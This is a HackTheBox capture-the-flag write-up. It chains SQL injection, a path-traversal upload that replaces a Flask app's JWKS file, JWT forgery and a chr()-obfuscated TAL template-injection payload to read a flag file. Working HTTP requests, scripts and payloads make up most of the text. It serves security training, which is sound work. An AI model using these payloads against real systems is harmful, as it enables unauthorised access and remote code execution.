Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
HackTheBox/Challenges/Challenge Bobbys Bistro.en.md READ_ONLY

Challenge Bobby's Bistro

This challenge consists of exploiting a chain of vulnerabilities in a Flask web application to achieve Remote Code Execution (RCE) and the solution consists of combining SQL Injection, Path Traversal, JWT Forgery, and Server-Side Template Injection (SSTI) to compromise the system and extract the flag.

Vulnerability Identification

Initial source code analysis reveals multiple security flaws across different endpoints. The /api/chat-messages endpoint contains a Path Traversal vulnerability, as it concatenates user-controlled input directly into a file path without sanitization:

$ grep -n "file.filename\|file.save\|UPLOADS_DIR" app.py
attachments=UPLOADS_DIR + "/" + file.filename,
file.save(UPLOADS_DIR + "/" + file.filename)

This flaw permits saving uploaded files to arbitrary server paths. Furthermore, the JWT verification process in auth.py loads the JWKS file from the local disk:

$ grep -n "jwks_path\|PyJWKClient" auth.py
jwks_path = os.path.abspath("static/.well-known/jwks.json")
jwks_client = PyJWKClient(f"file:///{jwks_path.replace(os.sep, '/')}")

If this file can be overwritten via the Path Traversal, the application will accept forged JWTs. However, forging a token requires knowing a valid user ID.

Inspecting the /profile endpoint uncovers a SQL Injection vulnerability. The token parameter is directly interpolated into a SQLAlchemy query:

$ grep -n "token\|text(" app.py
token = request.form.get("token")
user_data = db.session.query(User).filter(text("token='{}'".format(token))).all()

Lastly, the /api/announcements endpoint employs Chameleon templates and injects user input directly into a TAL PageTemplate. While a character blacklist removes characters like $, #, {, }, ", _, and ., the templating engine can still be exploited for SSTI.

$ grep -n "content\|PageTemplate\|render\|replace" app.py
content = markdown.markdown(request.form.get("announcement"))
if content:
    for i in '$#{}\"_.':
        content = content.replace(i, "")
tpl = PageTemplate(content)
res = tpl.render()

The first step in the attack chain involves extracting the administrator's UUID through the SQL Injection in the /profile endpoint. A boolean-based payload is sent to bypass the authentication check and leak the admin details:

$ cat <<'HTTP'
POST /profile HTTP/1.1
Host: 154.57.164.66:31336
Content-Type: application/x-www-form-urlencoded
Cookie: auth_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjdlMDJhZDRmYjM1OTk1ZTg0N2Y5ZDk1ZjNhZTI3YzdjIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMzU3MWM3M2UtMTkxMy00YjFjLWI5MWQtOTllZmE1M2YzMzMwIn0.pFs-hnuTserQQ2sb74LorPDN0BrFDVU1INuvikv-faK3Unx4u4g1ZYEjlKj269bUN8OPz0dgoxjuxiPIh33MhSZEnd9p1yD2fuJw11IJne-umemc0dJKksvP-JqPS-oAR1m2KUtxFbi0uH7rI5HqwKZR7l-HXQdzFuxUpEvEL87D42GKH7ahM1drDi9N8lmTeFGwuc6TbNAlAUVac3ALNgTRp8OewAiJx5Bc8nswjapTUkNtlQNSNesOWCbp42dp5BwaL4tVSyfZ4dhlHRNZxK_htgtiWB9GiEyT4RPH3MUwg7qGTZpYYel8o4Newz29o4wm88Q2yZ1XV51VB-hlsw

token=' or 1=1-- -
HTTP

The server responds with the administrator's information:

User ID: 284acf2c-0467-4073-8249-1651f06b9d98
Username: bobby_9805458b12c1eec088c4
Role: admin

With the administrator's UUID acquired, the next objective is to forge a valid JWT. Since the application validates tokens using a local JWKS file, a new RSA key pair is generated to replace it:

$ openssl genrsa -out private.pem 2048
$ openssl rsa -in private.pem -pubout -out public.pem

The public key parameters are extracted to build the malicious JWKS payload:

$ python3 -c "
from jwcrypto import jwk
with open('public.pem') as f:
    key = jwk.JWK.from_pem(f.read().encode())
print(key.export(private_key=False))
"
{"e":"AQAB","kid":"IoUHDpTS7XmC_Lx8DXhR4MYOud2XcbltiuVWFlkAVac","kty":"RSA","n":"txSoVeR2fW8hfAP1OJpMS9K6qGLh_V-bpCoi3uCV1-bgopqsZdCb8M8M8CDnArwFfuj7xGTDDxWQFnXusLGFuBncbOu6EKYukMEFlL1exNzWlsKIZEf6IweEBgWsh-1Xnvmn-nG2L6Es9kh0n2M_J18glBR0N9KaL35cbnxV9onGCQEmEyHHI8lm4EgRGcmPgvxj-VG_B8xvRJhR0rC8zKwIHlEm_jg9YbUUJMEM7vHWtucXw2BHUGIXXeGEBeUOjo3gdfoaw5F31paSHM47OnHw0uKxJvz6ZLvxUcyC-MqwfhzouyaptJtjG8cc2PsheX-SvZho9x42VPRIIfJRRw"}

The generated JSON payload is then structured into a jwks.json file, ensuring the kid (Key ID) matches the original value expected by the application:

$ cat jwks.json
{
  "keys": [
    {
      "kty": "RSA",
      "kid": "7e02ad4fb35995e847f9d95f3ae27c7c",
      "use": "sig",
      "alg": "RS256",
      "n": "txSoVeR2fW8hfAP1OJpMS9K6qGLh_V-bpCoi3uCV1-bgopqsZdCb8M8M8CDnArwFfuj7xGTDDxWQFnXusLGFuBncbOu6EKYukMEFlL1exNzWlsKIZEf6IweEBgWsh-1Xnvmn-nG2L6Es9kh0n2M_J18glBR0N9KaL35cbnxV9onGCQEmEyHHI8lm4EgRGcmPgvxj-VG_B8xvRJhR0rC8zKwIHlEm_jg9YbUUJMEM7vHWtucXw2BHUGIXXeGEBeUOjo3gdfoaw5F31paSHM47OnHw0uKxJvz6ZLvxUcyC-MqwfhzouyaptJtjG8cc2PsheX-SvZho9x42VPRIIfJRRw",
      "e": "AQAB"
    }
  ]
}

To overwrite the legitimate file, the Path Traversal vulnerability in the /api/chat-messages endpoint is exploited. A malicious multipart request uploads the crafted JWKS file to ../static/.well-known/jwks.json:

$ cat <<'HTTP'
POST /api/chat-messages HTTP/1.1
Host: 154.57.164.66:31336
Content-Type: multipart/form-data; boundary=----geckoformboundary5b1e6afd1524139db64cc505bd4a878d
Cookie: auth_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjdlMDJhZDRmYjM1OTk1ZTg0N2Y5ZDk1ZjNhZTI3YzdjIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMzU3MWM3M2UtMTkxMy00YjFjLWI5MWQtOTllZmE1M2YzMzMwIn0.pFs-hnuTserQQ2sb74LorPDN0BrFDVU1INuvikv-faK3Unx4u4g1ZYEjlKj269bUN8OPz0dgoxjuxiPIh33MhSZEnd9p1yD2fuJw11IJne-umemc0dJKksvP-JqPS-oAR1m2KUtxFbi0uH7rI5HqwKZR7l-HXQdzFuxUpEvEL87D42GKH7ahM1drDi9N8lmTeFGwuc6TbNAlAUVac3ALNgTRp8OewAiJx5Bc8nswjapTUkNtlQNSNesOWCbp42dp5BwaL4tVSyfZ4dhlHRNZxK_htgtiWB9GiEyT4RPH3MUwg7qGTZpYYel8o4Newz29o4wm88Q2yZ1XV51VB-hlsw

------geckoformboundary5b1e6afd1524139db64cc505bd4a878d
Content-Disposition: form-data; name="message"

Look
------geckoformboundary5b1e6afd1524139db64cc505bd4a878d
Content-Disposition: form-data; name="attachment"; filename="../static/.well-known/jwks.json"
Content-Type: application/json

{
  "keys": [
    {
      "kty": "RSA",
      "kid": "7e02ad4fb35995e847f9d95f3ae27c7c",
      "use": "sig",
      "alg": "RS256",
      "n": "txSoVeR2fW8hfAP1OJpMS9K6qGLh_V-bpCoi3uCV1-bgopqsZdCb8M8M8CDnArwFfuj7xGTDDxWQFnXusLGFuBncbOu6EKYukMEFlL1exNzWlsKIZEf6IweEBgWsh-1Xnvmn-nG2L6Es9kh0n2M_J18glBR0N9KaL35cbnxV9onGCQEmEyHHI8lm4EgRGcmPgvxj-VG_B8xvRJhR0rC8zKwIHlEm_jg9YbUUJMEM7vHWtucXw2BHUGIXXeGEBeUOjo3gdfoaw5F31paSHM47OnHw0uKxJvz6ZLvxUcyC-MqwfhzouyaptJtjG8cc2PsheX-SvZho9x42VPRIIfJRRw",
      "e": "AQAB"
    }
  ]
}

------geckoformboundary5b1e6afd1524139db64cc505bd4a878d--
HTTP

Once the JWKS file is overwritten, the application trusts any JWT signed by the injected private key. A script is executed to generate an administrator session token using the leaked UUID:

$ python3 -c "
import jwt
with open('private.pem', 'rb') as f:
    private_key = f.read()
payload = {'user_id': '284acf2c-0467-4073-8249-1651f06b9d98'}
headers = {'alg': 'RS256', 'typ': 'JWT', 'kid': '7e02ad4fb35995e847f9d95f3ae27c7c'}
token = jwt.encode(payload, private_key, algorithm='RS256', headers=headers)
print(token)
"
eyJhbGciOiJSUzI1NiIsImtpZCI6IjdlMDJhZDRmYjM1OTk1ZTg0N2Y5ZDk1ZjNhZTI3YzdjIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMjg0YWNmMmMtMDQ2Ny00MDczLTgyNDktMTY1MWYwNmI5ZDk4In0.jYAkBQsViGICuMe-zCBF_6LtVv7Y3y4oqZV2erULad3BP0YAYG1Bu6Js2qPD4s6EsiJfM0e2kLHvs59Jd8GRgCu1hp7IFcZk3kQx3vu7m5b-oNivYoYqMlFsgBJo86yWRr0sMMYy4AhqXNnhF8bGkZEQQCs4m9yVRHadr8kmMYq_Hwgc7zHCd_3ohJ8RKkN4FGx7QRglbqoljFtvLg7Lg89j9yaKKDhA1ve1iLvhIWX5v4dWWJhi3OSSmn1rlQQnnX-zgDWM4CL8Ca8NJF3ip8EftkXK2KeO72NpkaN1VzZCFTtTcVa4weSafa6h0SdesYnjNAaBNod9DCSWmWBo7A

The resulting token grants administrative access, permitting interaction with the /api/announcements endpoint where the SSTI vulnerability resides. To bypass the character filter, a TAL (Template Attribute Language) expression is constructed using chr() to obfuscate blocked characters, avoiding quotes, underscores, and periods.

$ echo 'Obfuscated payload equivalent to:'
$ echo '<p tal:replace="__import__(\"os\").popen(\"cat /flag.txt\").read()">x</p>'
$ echo 'Using chr() concatenation to avoid blocked characters'

Applying the chr() obfuscation to access __builtins__.__import__ and execute os.popen, the URL-encoded payload is sent to the server:

$ cat <<'HTTP'
POST /api/announcements HTTP/1.1
Host: 154.57.164.66:31336
Content-Type: application/x-www-form-urlencoded
Cookie: auth_token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjdlMDJhZDRmYjM1OTk1ZTg0N2Y5ZDk1ZjNhZTI3YzdjIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoiMjg0YWNmMmMtMDQ2Ny00MDczLTgyNDktMTY1MWYwNmI5ZDk4In0.jYAkBQsViGICuMe-zCBF_6LtVv7Y3y4oqZV2erULad3BP0YAYG1Bu6Js2qPD4s6EsiJfM0e2kLHvs59Jd8GRgCu1hp7IFcZk3kQx3vu7m5b-oNivYoYqMlFsgBJo86yWRr0sMMYy4AhqXNnhF8bGkZEQQCs4m9yVRHadr8kmMYq_Hwgc7zHCd_3ohJ8RKkN4FGx7QRglbqoljFtvLg7Lg89j9yaKKDhA1ve1iLvhIWX5v4dWWJhi3OSSmn1rlQQnnX-zgDWM4CL8Ca8NJF3ip8EftkXK2KeO72NpkaN1VzZCFTtTcVa4weSafa6h0SdesYnjNAaBNod9DCSWmWBo7A

title=testinggg&announcement=%3Cp%20tal%3Adefine%3D'imp%20globals()%5Bchr(95)*2%2Bchr(98)%2Bchr(117)%2Bchr(105)%2Bchr(108)%2Bchr(116)%2Bchr(105)%2Bchr(110)%2Bchr(115)%2Bchr(95)*2%5D%5Bchr(95)*2%2Bchr(105)%2Bchr(109)%2Bchr(112)%2Bchr(111)%2Bchr(114)%2Bchr(116)%2Bchr(95)*2%5D%3B%20os%20imp(chr(111)%2Bchr(115))%3B%20pop%20getattr(os%2Cchr(112)%2Bchr(111)%2Bchr(112)%2Bchr(101)%2Bchr(110))%3B%20res%20getattr(pop(chr(99)%2Bchr(97)%2Bchr(116)%2Bchr(32)%2Bchr(47)%2Bchr(102)%2Bchr(108)%2Bchr(97)%2Bchr(103)%2Bchr(46)%2Bchr(116)%2Bchr(120)%2Bchr(116))%2Cchr(114)%2Bchr(101)%2Bchr(97)%2Bchr(100))()'%20tal%3Areplace%3D'res'%3Ex%3C%2Fp%3E
HTTP

Upon rendering the template, the injected expression evaluates and executes the command as root, returning the flag within the HTTP response:

HTB{FLAG}